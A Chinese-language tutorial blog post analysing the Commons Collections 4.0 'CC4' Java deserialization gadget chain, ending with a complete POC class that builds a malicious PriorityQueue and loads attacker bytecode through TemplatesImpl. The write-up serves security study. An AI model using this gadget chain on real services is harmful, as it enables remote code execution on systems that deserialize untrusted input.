CommonsCollections CC4链

依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

代码审计 | 原理分析

思路是CC2和CC3的结合,这里只梳理流程

  1. TrAXFilter构造器传入TemplatesImpl会调用newTransformer()
  2. InstantiateTransformer.transform()调用指定的类构造器
  3. TransformingComparator.compare()调用this.transformer.transform()
  4. PriorityQueue反序列化调用comparator.compare()

后边条链直接拿CC3的使用

 TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> te = templates.getClass();

        Field namefield = te.getDeclaredField("_name");
        namefield.setAccessible(true);
        namefield.set(templates,"1");
        Field bytecodesield = te.getDeclaredField("_bytecodes");
        bytecodesield.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
        byte[][] codes={code};
        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
            //避免被readObject修改
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);


使用TransformingComparator类中的compare方法构造链条

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

构造完成之后进行序列化反序列化操作,运行,发现什么都没发生
实际上这里我们最后要走到PriorityQueue 中的readObject方法,调用heapify()方法
我们打个断点进行查看
image.png
queuetransient修饰的
这里对queue数组中的元素进行遍历
进入heapify()方法中查看。

 private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

我们要进入siftDown方法中
但是要满足循环条件
size >>> 1
<< 左移运算符,size << 1,相当于size乘以2

右移运算符,size >> 1,相当于size除以2

无符号右移,忽略符号位,空位都以0补齐
这里的话只要size>=2的情况下,才能有结果
image.png
所以我们需要将size的值设置为2,我们直接在priorityQueue中add 2个东西就好了

    priorityQueue.add(1);
        priorityQueue.add(2);

运行代码,报错了
报错是因为
priorityQueue.add(2);这里我们跟进add一下

    public boolean add(E e) {
        return offer(e);
    }

继续跟进offer方法
image.png
跟进siftUp方法中

 private void siftUp(int k, E x) {
        if (comparator != null)
            siftUpUsingComparator(k, x);
        else
            siftUpComparable(k, x);
    }

    @SuppressWarnings("unchecked")
    private void siftUpComparable(int k, E x) {
        Comparable<? super E> key = (Comparable<? super E>) x;
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (key.compareTo((E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = key;
    }

    @SuppressWarnings("unchecked")
    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

实际上在这里就调用了comparator方法,将资源消耗掉了,我们还是使用Urldns链中的思路
在它传进去之前将他的值改了
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

在他add完之后就值改回

Class c = transformingComparator.getClass();
        Field transformerfield = c.getDeclaredField("transformer");
        transformerfield.setAccessible(true);
        transformerfield.set(transformingComparator,chainedTransformer);

POC

package ysoserial.ay;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.xalan.transformer.TrAXFilter;
import org.apache.xalan.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

/**
 * @ClassName TestCC4
 * @Author aY
 * @Date 2023/3/10 12:17
 * @Description
 */
public class TestCC4 {

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class te = templates.getClass();

        Field namefield = te.getDeclaredField("_name");
        namefield.setAccessible(true);
        namefield.set(templates,"aaa");
        Field bytecodesield = te.getDeclaredField("_bytecodes");
        bytecodesield.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
        byte[][] codes={code};
        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
            //避免被readObject修改
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
//        chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformerfield = c.getDeclaredField("transformer");
        transformerfield.setAccessible(true);
        transformerfield.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }


    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YY13172

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值